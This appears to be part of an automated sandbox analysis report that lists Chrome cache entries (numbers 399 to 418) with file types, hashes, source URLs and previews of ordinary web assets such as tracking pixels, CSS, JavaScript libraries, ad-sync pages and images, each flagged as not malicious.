URL:	https://static.yieldmo.com/images/ad-choices.svg
Preview:	<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px". viewBox="0 0 159 161.1" enable-background="new 0 0 159 161.1" xml:space="preserve">.<g id="Layer_2">. <path fill="#00ACCA" d="M139.6,91.5c12.6-6.9,14.9-15.6,0.2-24.3L36.9,11C24.4,3.9,14.1,9.7,14.1,24v110.8. c0,18.2,9.5,20,22.1,13.2l11.8-6.6c1.9-1.3,6.4-5.1,5.2-10.3c-1.2-4.8-5.3-6.3-10.1-5c-7,3.8-11.5,0-11.5-7.9V39.2. c0-7.9,5.7-11.2,12.6-7.2l71,40.6c6.9,3.9,6.9,10.3-0.1,14.1l-43.9,22.8V82.6c0-4.1-3.4-7.5-7.5-7.5c-4.1,0-7.5,3.4-7.5,7.5v38.1. c0,4.1,3.6,7.1,7.5,8.5c1.6,0.6,4.8,0.7,7.1-0.4L139.6,91.5z"/>. <circle fill="#00ACCA" cx="64.1" cy="62.4" r="7.9"/>.</g>.</svg>

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30563), with no line terminators
Category:	downloaded
Size (bytes):	30563
Entropy (8bit):	5.32090286334269
Encrypted:	false
SSDEEP:	384:uov/RrRUx1GeGznRvwG2GJ7Le+kaV5XBboKC5G+iwijGI5GQZ9GcGTj:7/RrRooR77LEaV5XtVHmj
MD5:	79E35AB9CC994315CAECC61B1737C23F
SHA1:	61BAC75F8C3A2E334C2678BDB4F5BB06D8898CC7
SHA-256:	327B0612715FFA42E2412F24E251D1A7407ACE88D7A6ACCD52249989F017A48C
SHA-512:	73495A27E6DC97C6E771A7E97A10D7DE6EADE3DFBA396E65B1684D110065D775049880823BA3DE6F5502B32B4886B326422771CE595C2DE70DF6254C5E076285
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.79e35ab9cc994315caecc61b1737c23f.min.css
Preview:	#atomic .Ai$c${align-items:center}#atomic .Ac$c${align-content:center}#atomic .As$c${align-self:center}.active .active_Animdur$5000ms${animation-duration:5s!important}.active .active_Animn$\$carouselAnimationName${animation-name:slide!important}.active .active_Animps$\$carouselAnimationState$,.wafer-scrollview-autoswitch-paused:active .wafer-scrollview-autoswitch-paused\:active_Animps$\$carouselAnimationState${animation-play-state:initial!important}.carousel-ad-scrollview-with-indicators:hover .carousel-ad-scrollview-with-indicators\:h_Animps$p${animation-play-state:paused!important}#atomic .Ar$\$rectanlgeAspectRatio${aspect-ratio:1.92}#atomic .Bd$0$,.Bd$0${border:0}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bdc$--dory${border-color:#0f69ff;border-color:var(--dory)}#atomic .Bdc$--grey-hair${border-color:#f0f3f5;border-color:var(--grey-hair)}#atomic .Bdc$--sky${border-c

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=conversant&uid=AAAG4_L7sbsefgNIt0YiAAAAAAA&expiration=1714344152&gpp_sid=-1&gpp=DBAA&is_secure=true&gdpr_consent=&gdpr=0
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	825
Entropy (8bit):	5.221761257784141
Encrypted:	false
SSDEEP:	24:850zdrNr5zT3kABNr5LBRHNr5mLUjA3DgNr5LBRlNr5z:tzfGCdBTkL6s+dBdZ
MD5:	E6BDE3F626C1C95014561335B641C8ED
SHA1:	7C894B73FFCEE13C4C178822C70528F86EE8803E
SHA-256:	09EDFFB1DEDC522ECAD169AF8C8D59B0B80AABA6789CF46B18E80161281AFB22
SHA-512:	F3EB7468C45C72A00D46AEFADA8F5BBEC864D99E2263F4FBE540672D36AA07D7D68675A21C67E83EA0650FBE83865169072DEFF7E73C6791ACA060A70DDB0FDA
Malicious:	false
Reputation:	low
URL:	https://ads.yieldmo.com/pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe
Preview:	<html>.<body>.<img src="https://pixel-us-east.rubiconproject.com/exchange/sync.php?p=yieldmo" style="display: none;" border="0" height="1" width="1">.<img src="https://ib.adnxs.com/getuid?https://ads.yieldmo.com/v000/sync?userid=$UID&pn_id=an" style="display: none;" border="0" height="1" width="1">.<img src="https://cm.g.doubleclick.net/pixel?google_nid=yieldmo_dbm&google_cm&pn_id=c" style="display: none;" border="0" height="1" width="1">.<img src="https://sync.1rx.io/usersync2/rmpssp?sub=yieldmo&redir%3Dhttps%3A%2F%2Fads.yieldmo.com%2Fv000%2Fsync%3Fpn_id%3Dunl%26id%3D%5BRX_UUID%5D" style="display: none;" border="0" height="1" width="1">.<img src="https://cm.g.doubleclick.net/pixel?google_nid=yieldmo_dbm&google_hm=VmNKblNTU1hYblNxMTlBTDlrU1E=" style="display: none;" border="0" height="1" width="1">.</body>.</html>

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 300x156, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	4644
Entropy (8bit):	7.960123254502948
Encrypted:	false
SSDEEP:	96:sFKNx7UhakZgrtMo92kdH4EIh/5inr1f7wrrb1xENC7Km0fj+is/6e:sQj7oaigpMMR4EIh/wrFEBl4f26e
MD5:	0FB8449C705FF58EF6D22A2548DE9571
SHA1:	F7BAC8404CDDEE5E12395BDFA2F18CDBFEB01576
SHA-256:	6A756C4C5A1CD83A0418F3A8228A8622676FD67C8F39203C37DEB7D6696FFEED
SHA-512:	CCD9F6AD747464BB88B3DFB0DC5296BC1A37E5CA97733C80570B0DA79F75167A2BC789BC2EEF3FF8F351A88195A1D1EFCBB9ACD707723743D6BD972072605AD5
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/BTR8joxFvQtaUQF5ENZGag--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-04/16743fc0-037c-11ef-aef3-f8ed857fa8aa.cf.webp
Preview:	RIFF....WEBPVP8 ....PW...,...>y8.H..".&R+p...cn.y.p.0+.......x.......o..G.e<..E.r....g.Ii..,~...._.....q@Y.....:.^......[E.a...@3R;..a...w...>.HSO.J..S......k!.w..T.E...b5..,..x....rX...0..g..[...f\.LD.iuc....G..-.D.e.]/...)......aLCe...1YR...D@...4...Qd..5bk...%A.mt@..T..Wp....p.W......_.2.&.>.D....k.._p...=...R.....nh.l....@.H.......;.....Ffv!./....a..d$.......?LZ).7....?~8.k...T..g......Z..n"w.7.....6.......'...?...sJ.+...+........y...B$..9.[....>.V..@o..}wL..((....3R........h.=....tE..p.V...z....1/f.5.....Y_q.....8.....;......Ko7y.~...$.Em#.C...mO;v$.rhB......Q..D.a...^....'....l./.=,....vS.E..R.....wK0.X..`....... $W.Yb....u.eY_ .K.6.\|}a8.r....T..&..8.L...c..5@M..........8.<.k<.y.k..7J{r.^.mj.>.u.~.Y.{mW.. 0...dk...{V..O.9...#..a.B.Z.......1f^a...0...o^.....R...J`L....xk..Z}.......!.....[.a+.\|...V!~...<.X...Ulz...a...V..%dq..n.w.....W@.)......\|g()\`."..C.I...G..!..........CE.....m.!>..'t.O.L..8u.z.......B...=.q.4i.G.

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1419), with no line terminators
Category:	downloaded
Size (bytes):	1419
Entropy (8bit):	5.290554482292794
Encrypted:	false
SSDEEP:	24:Zdg3kOvVQnbrMlx9w8l9fRWl5Yl7ifkugr/zeuWFB97rb3BeuQcgkzozogkMH6KX:ZULtQPExll9fwl5YJGkn/iuCfrb3p5gv
MD5:	5043A481C515B36358C32B8EA2D581FE
SHA1:	62F528373DD9070C4EC46F5FD53C75BEBF33C985
SHA-256:	77D1A2D51CE7CD15E6B10DECCC9D34C6BBFB316352F9B3896003DD007B66A920
SHA-512:	787A6FFDC12314DE3E2E6BCAAB924E5C4D505F526EDAE3C48E9AC384466C272312BE57B3B9FA57856A8348F68A15B17495AF289E5277EBE3884B788AD11E1E77
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/react-wafer-games.custom.modern.5043a481c515b36358c32b8ea2d581fe.js
Preview:	const LOCAL_STORAGE_VARIABLE_NAME="ngyRecentlyPlayedGames",MAX_AMOUNT_OF_GAMES_IN_RECENTLY_PLAYED=2,cleanPath=e=>e.replace("/games/play/","").replace(/\/$/,""),idHeyYahoo="hey yahoo",init=()=>{const{wafer:e}=window,{localStorage:t}=e.features;let a=null;function n(t){let a,n,l;t[0]&&(a=t[0].path,l=`${a}`),t[1]&&(n=t[1].path,l=`${a},${n}`),e.state={recentlyPlayedGames:l,recentlyPlayedGamesUpdateTime:Date.now()}}(()=>{if(a=document.getElementsByClassName("react-wafer-games")[0],a){let l,i=!1;if(t&&(window.wafer.utils.bindEvent(a,"click",(e=>{const{target:a}=e,l=a.getAttribute("data-id");let i=a.getAttribute("data-path");if(l&&i){if(l.toLowerCase()===idHeyYahoo)return;i=cleanPath(i);const e={id:l,path:i};!function(e,a){if(!t)return;let l;e?(l=JSON.parse(e),l=l.filter((e=>e.id!==a.id)),l.length>=2&&l.splice(1),l.unshift(a)):l=[a];window.localStorage.setItem("ngyRecentlyPlayedGames",JSON.stringify(l)),n(l)}(window.localStorage.getItem("ngyRecentlyPlayedGames"),e)}}),{passive:!0}),l=window.l

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 330, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2986
Entropy (8bit):	7.595859761626018
Encrypted:	false
SSDEEP:	48:ki3VLqI5DRFJEmlXv+2KpDRFZdtseQURsd1dA1h6wBxANNh4E6LEZU3KgCDj2fbT:7LFDXlXWzzsZj/dEBxab46SKgC+jCMNn
MD5:	C2396079060A7028FA898A73B72AA592
SHA1:	81EE85D797FF9C40A19B15E4130D7F677011C5A0
SHA-256:	1A166EBD6C8872D71EFCEFB4765DB513014B732E1886525C5F2D5DED87071451
SHA-512:	AC8F6403C6F5CD0ACEB315C0EE48DA6A3540D4C012A15A754EFEFE069CB33B6AA3124C3C5C7746185CE4A3EED7898A1AE07C170501AC78CAC16290084255CCA6
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png
Preview:	.PNG........IHDR...)...J............jPLTE...IIY..........#)E..\el.")...\dk!w..j.....j..j.'/;.:.....;.....i.....i....#+1$,4.j..............i.$+3....;..:.#2.i..;.#+2.;.....j.....j..j..m..i........l..:....#+2#+1\dj.#).j..k..k.#(/.l.&-5.;..n..n....7....j..:.....j.....;.....k..l.#2.i..:.#1.:..i..i........i........;........;.$+1....=...."%,#,5.j..i........j.....j.....j.....j...........n....#+1[dj.").:.$+1....:.$2.:..j.......#+2.......j..;.$2.j.....k..;....$+3.l...._fk`gn...ddm$$..A....[mm.l..i.....j....\cj................j..k..l..k..l..j.$2.j..:.....j.#+2.;.#+1...$+1.;..k..j..:.#+4.;.$+2.i..<.%.3.=..@........j.....l.....i..C..w..i.....:.#1[cj."(....Z.N....tRNS.............x.........@/....j./...eW'...V#"......}}lbR/+'#...........w8&...........ji^QPJ($$............N;/..................{xtqpoaZN?0%!............\|dZZI<2!.........~{tng`^KGB972...ePG33....k....(IDATh...W.0....).Q..O.pC.......((....,...{...{o.V..Lz'......D}~..%m?$M..{m....u...=W.d.u8.....3**(....bT@.b..x...

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIx5X807vjhQMVmOwoBR3ijgRdEAEYACCumLBl;dc_eps=AHas8cBFi4DLBa66J1aZCWW9aYtkAzzQK7n4Ty-rRK4CbmE-vbqIlusnIZ1e8hN3Gbe_PgCrC6WztsNquTpYeVWjeCY;met=1;&timestamp=1714257739480;eid1=871060;ecn1=1;etm1=0;eid2=2;ecn2=1;etm2=10;
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3735), with no line terminators
Category:	downloaded
Size (bytes):	3735
Entropy (8bit):	4.835929595261791
Encrypted:	false
SSDEEP:	96:M9xN8LvJKRE38YLZvdV9jqmsol0e3fCkyc:M9xN8bJKRQ88VVsoGe3fJF
MD5:	A03361886464B469ACD3A16CFBD022ED
SHA1:	85862F5A82AE0389B03270BD74EB632E0D66BE12
SHA-256:	DF636670DA8B690EF359C8A48A24ABACD6E8BBD27288E38FB2F24EC922895805
SHA-512:	8AA03B15DE113EE7147A72A83E34E76D7120CD005452F4726B8D61039DE23673AA7A177BB198ADBEDAC64871BA49C5EFD116B9708B84CB0F9E45AE8C48E8C339
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-weather.common.desktop.a03361886464b469acd3a16cfbd022ed.css
Preview:	@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.weather-card-form:after{background:var(--white);border-bottom:1px solid var(--dirty-seagull);border-right:1px solid var(--dirty-seagull);content:"";height:8px;position:absolute;right:8px;top:-6px;-webkit-transform:rotate(225deg);transform:rotate(225deg);width:8px}#grid-layout .weather-card-form:after,#grid-layout button.wafer-geolocation-denied,#weather-widget-next-gen .weather-card-form:after,.weather-card-form.wafer-form-complete,.weather-card-form.wafer-form-inprogress{display:none}.lockerWeather-card-form .wafer-autocomplete:focus{outline:0}.wafer-autocomplete-list{list-style-type:none;padding:0;margin:0;-webkit-transition:-webkit-transform opacity .3s ease-out;transition:transform opacity .3s ease-out;trans

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://sync.srv.stackadapt.com/sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2888)
Category:	downloaded
Size (bytes):	20370
Entropy (8bit):	5.522634512019388
Encrypted:	false
SSDEEP:	384:8OYtIHE3Q5+gVH9xFsPKD/O8I6g+iWCUs1pFBLxncqwOjaQX6wymb6aHNmXPJlIH:jYtIHUQ0gBjFhDW81g+iWzIp9ncqwOW0
MD5:	308A5F23E118C0CF9F688A5D70F90C6F
SHA1:	3E1C92A62743FE1A8B42C7498D792CD47C235281
SHA-256:	9709CAAEB47935E01F79E18B93611C0CACD448454BE40C3A3D99D7B041A59C3C
SHA-512:	D275C6E21B6DA33312B645B4816A1B741B944B82BA48BFEE2369CC6ACEAE8C9EBCDF23E99C32B731B7376FD57260269197BA00B645D43B577CADB27B12D1401B
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240424/r20110914/client/qs_click_protection_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var q=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=q,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a,b,c){return a.call.apply(a.bind,arguments)}function ca(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}} .function r(a,b,c){r=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ba:ca;return r.apply(null,arguments)}function da(a,b){function c(){}c.prototype=b.prototype;a.O=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.P=function(d,e,g){for(var f=Array(arguments.length-2),k=2;k<arguments.length;k++)f[k-2]=arguments[k];return b.prototype[e].apply(d,f

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=adobe&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=Zi1-PgAAvwsNrQAF
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072977&val=14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 360x640, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	33922
Entropy (8bit):	7.993411905598843
Encrypted:	true
SSDEEP:	768:t4os0vmVAz41JHA9ZF8C6cJsKnJr00y2eLV0Is6WNa:tlvmG2S9ZaHKJrLMiINWI
MD5:	937C8751FA97C00FB683A0A03C123D54
SHA1:	AF83C941B76362185D23C19AB4C85D8B0EB0E164
SHA-256:	405D9E83C40D95696BB4EFA2E033BC7DCCF5490EA52AAEA2E4D79C8BCBEBFFF1
SHA-512:	F4AACA32CBDEE2758CFD2C1F3B056BA27391B703F39286B42AA3E26ACAF9EF8D90E76C01A308FF7D32F9B5939927CE01525F58AB0E898556D9895DB92A78D778
Malicious:	false
Reputation:	low
Preview:	RIFFz...WEBPVP8 n...p....*h...>1..C.!.#$rz.`..gK.v.@.;?.{.3.b.`...`......9................V.m.....s.......>k.....a............u^.>............Oz..?.....z..:.;....C....`.......?s.........q...........7./....A.#.../..y.....G..................o............O.../@~Z.....O.O......p..!c.........................>..7.....G.....................?..`_.?.............q_....g.........>b......................+.W......\|..=.~....R.~....D_.a.;..)a ....T.w.K.n....~.+z...3..'m..`...W..p......>...D..<..BH+.....9$.o....Y......O.....ol. W.yG.._.m...).QF...>..S...$.F.n....N..84-....H>xT4....9q........W...J..`..`.../.>..1.....Pj.s.{.IZ.s.(....vk#.....i.....r.....e2.R..i.0..#....`.+..y...F..u.;t-K..8..:8.O.~..rO...@..(.....vN.F..#..K..G..5.6)..71......n...W.R.9j..{...U.rz.......?.\|x.xT..p... .F.2...NL....a.".4...fP...1E.i.....N\^.7\j.~....\|..X?j..-....c.J.<.4>4.%........s...'5<...<I.Yp.....?6e#.`..&..K..90....)m#:.M,..d'.....iWp....}......#&.x...KmI4....Vq...;..}......

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
